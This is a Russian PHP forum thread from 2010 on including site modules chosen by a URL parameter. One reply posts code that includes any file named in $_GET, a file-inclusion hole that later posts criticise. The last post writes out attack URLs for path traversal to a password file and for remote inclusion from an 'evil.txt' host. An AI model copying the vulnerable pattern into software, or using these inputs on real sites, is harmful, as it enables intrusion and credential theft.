Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель PHP 5 / 6 (3 издание). Авторы: Кузнецов М.В., Симдянов И.В. Социальная инженерия и социальные хакеры. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Как правильно подключать модули?
 
 автор: allforweb   (16.09.2010 в 18:44)   письмо автору
 
 

Делать кучу файлов неудобно. Как правильно выводить на страницу модули.
Например файл admin.php и все модули лежат в отдельной папке из которой они вызываются на страницу. Получается во примерно такой адрес admin.php ?mod=editnews (если вызывается модуль редактирования новостей)

  Ответить  
 
 автор: mihdan   (16.09.2010 в 18:47)   письмо автору
 
   для: allforweb   (16.09.2010 в 18:44)
 

Через include(), require()

  Ответить  
 
 автор: allforweb   (16.09.2010 в 20:31)   письмо автору
 
   для: mihdan   (16.09.2010 в 18:47)
 

А как же переключаться между ними?

  Ответить  
 
 автор: Slo_Nik   (16.09.2010 в 20:55)   письмо автору
 
   для: allforweb   (16.09.2010 в 20:31)
 

параметры передавать через $_GET, переключаться при помощи switch()

  Ответить  
 
 автор: mihdan   (17.09.2010 в 14:34)   письмо автору
 
   для: Slo_Nik   (16.09.2010 в 20:55)
 

Если модулей 500, то по вашей логике будет 500 case'ов?

Я имел ввиду это:

<a href="?module=photo">Фотогалерея</a>


Обработка ссылки


<?php
if (file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['module'].'.php')) {
    include_once (
$_SERVER['DOCUMENT_ROOT'].'/'.$_GET['module'].'.php');
}
// Не забудьте отфильтровать переменные из _GET
?>

  Ответить  
 
 автор: neadekvat   (17.09.2010 в 17:31)   письмо автору
 
   для: mihdan   (17.09.2010 в 14:34)
 

По лбу бы дать за такие вещи. Вы про XSS никогда не читали?

В одном проекте реализовывал в такой манере:
<?php
$modules 
= array ('module1''module2');

if (
in_array($_GET['act'], $modules))
    include 
ma($_GET['act']);
else
    include 
ma('main');

P.S.
string ma(string $module_name)
В моем случаи эта функция возвращала путь до нужного модуля.

  Ответить  
 
 автор: Красная_шляпа   (17.09.2010 в 19:52)   письмо автору
 
   для: neadekvat   (17.09.2010 в 17:31)
 


<?php
//

$includes = array();
$dh opendir("includes");
while (
$filename readdir($dh)) {
    if (
preg_match("/^[_a-z0-9]{1,251}\.inc$/i"$filename)) {
        
$arr explode("."$filename);
        
$includes[] = $arr[0];
    }
}
closedir($dh);
$inc = @$_GET["inc"];
if (!
in_array($inc$includes)) {
    
$inc "main";
}
require 
"includes/$inc.inc";


  Ответить  
 
 автор: neadekvat   (17.09.2010 в 19:58)   письмо автору
 
   для: Красная_шляпа   (17.09.2010 в 19:52)
 

Да, ваше решение куда лучше: выше, быстрее, сильнее оптимальнее, быстрее, понятнее.

  Ответить  
 
 автор: allforweb   (17.09.2010 в 23:12)   письмо автору
 
   для: neadekvat   (17.09.2010 в 19:58)
 

Это все интересно очень, но мне пока рано в такие дискуссии встрявать.
У меня попроще вопрос:
Вот через SWITCH все подключил, модули выводятся нормально но есть нюансы.
1. Если модуль включен в страницу все нормально, но когда модуль выступает обработчиком формы, то после выполнения запроса через форму, он выводится как отдельная страница. Например страница admin.php я в ней подключаю через SWITCH модуль addnews где стоит форма добавления и этот же файл обработчик формы. После запрос к форме выводится файл-модуль addnews.php Как тут быть?

2. Подключение к базе у меня стоит на странице admin.php и в модуле тоже стоит подключение к БД через require и на странице admin.php выдается ошибка, что у вас уже есть подключение к БД, но мне же нужно это подключение и к странице обработчику addnews.php Как тут быть?

  Ответить  
 
 автор: neadekvat   (17.09.2010 в 23:22)   письмо автору
 
   для: allforweb   (17.09.2010 в 23:12)
 

Через switch вы можете выстроить очень большую сосиску из модулей. Чуть выше предложены два варианта (вариант г-на Шляпы мне не нравится).
Но, пожалуй, со временем вы сами придете к удобному вам варианту.

2. Подключайте в главном файле коннект к бд, остальные же файлы также подключайте через главный.

1. У вас, очевидно, нет разделения логики и представления (это не осуждение, а констатация факта). К этому вы, возможно, тоже в будущем придете. А может не придете.
Но в вашем случаи, видимо, придется два раза подключать модули.

Итак, совместив первое со вторым получается примерно так:

<?php
require 'db_connect.php'// Подключаемся к бд

switch ()
{
// Подключаем модули-обработчики, именно здесь будут обрабатываться формы
}
?>
Вывод обычной html-разметки
<?php
switch ()
{
/* Подключаем модули для основной части сайта, т.е. здесь будет выводится то,
что увидит пользователь.
*/
}

/* Другие файлы должны также подключаться через главный файл - так намного проще
управлять сайтом (например, в остальных файлах не надо заботитья о подключении
к бд - она осуществлена в главном файле). Хотя, очевидно, кому как.
*/
?>

  Ответить  
 
 автор: oliss   (19.09.2010 в 08:39)   письмо автору
 
   для: allforweb   (16.09.2010 в 18:44)
 

__autoload( )

лёгкий пример http://www.ircit.ru/company/blog/ahs/50.php

  Ответить  
 
 автор: Красная_шляпа   (19.09.2010 в 11:34)   письмо автору
 
   для: oliss   (19.09.2010 в 08:39)
 

site.ru/?module=../../../../../тута_хранятся_пароли
site.ru/?module=http://site1.ru/evil.txt

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования